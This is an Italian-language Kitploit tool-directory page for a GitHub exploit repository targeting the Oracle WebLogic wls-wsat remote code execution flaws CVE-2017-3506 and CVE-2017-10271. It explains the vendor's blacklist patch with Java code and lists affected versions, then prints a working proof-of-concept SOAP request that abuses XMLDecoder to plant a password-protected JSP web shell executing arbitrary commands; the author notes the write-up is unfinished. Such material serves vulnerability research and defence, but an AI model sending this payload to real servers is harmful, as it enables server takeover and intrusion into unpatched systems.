Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Oracle-WebLogic-CVE-2017-10271 — WebLogic wls-wsat RCE CVE-2017-10271 | Kitploit
Strumenti/GitHubGitHub/peterpeter228/oracle-weblogic-cve-2017-10271
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubpeterpeter228/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Vedi Repository
5618 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Descrizione della vulnerabilità

All'inizio, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro i server aziendali. Un gran numero di server aziendali è stato compromesso e il numero di aziende colpite mostra una chiara tendenza all'aumento, il che richiede grande attenzione. Tra questi, CVE-2017-3506 è una vulnerabilità di esecuzione remota di codice che sfrutta il componente WLS di Oracle WebLogic; è una vulnerabilità sfruttata in natura senza dettagli pubblici, e molte aziende non hanno ancora installato la patch in tempo. Oracle ha rilasciato la patch per questa vulnerabilità nell'aprile 2017.

Spiegazione della patch di CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

È stato semplicemente aggiunta una funzione validate prima della deserializzazione: se qName è uguale a "object", viene lanciata un'eccezione e il processo termina. Si può definire semplice ed efficace, ma questa riparazione basata su una lista nera è difficile da rendere completamente esaustiva. C'è da rifletterci...

Il metodo di sfruttamento di questa vulnerabilità è relativamente semplice: un attaccante deve solo inviare una richiesta HTTP appositamente costruita per ottenere i permessi sul server di destinazione, con un impatto enorme. Poiché la vulnerabilità è relativamente recente, ci sono ancora molti host che non hanno aggiornato le patch pertinenti. Si prevede che, dopo questo incidente, il numero di attacchi possa aumentare notevolmente e molti nuovi host vengano compromessi.

La patch di aprile di Oracle non ha riparato completamente la vulnerabilità CVE-2017-3506: è possibile aggirare la patch ed eseguire ancora comandi remoti. La vulnerabilità di bypass attuale, CVE-2017-10271, è stata corretta nella patch di ottobre rilasciata ufficialmente.

Identificativi della vulnerabilità

CVE-2017-3506 (vulnerabilità di esecuzione remota di comandi in wls-wsat) CVE-2017-10271 (vulnerabilità di bypass dell'esecuzione remota di comandi in wls-wsat)

Versioni interessate

Oracle WebLogic Server versione 10.3.6.0.0 Oracle WebLogic Server versione 12.1.3.0.0 Oracle WebLogic Server versione 12.2.1.1.0 Oracle WebLogic Server versione 12.2.1.2.0

Metodo di sfruttamento

CVE-2017-3506

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Poc:

root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

Non ho finito di scrivere, sono uscito per un impegno.....

Scarica lo strumento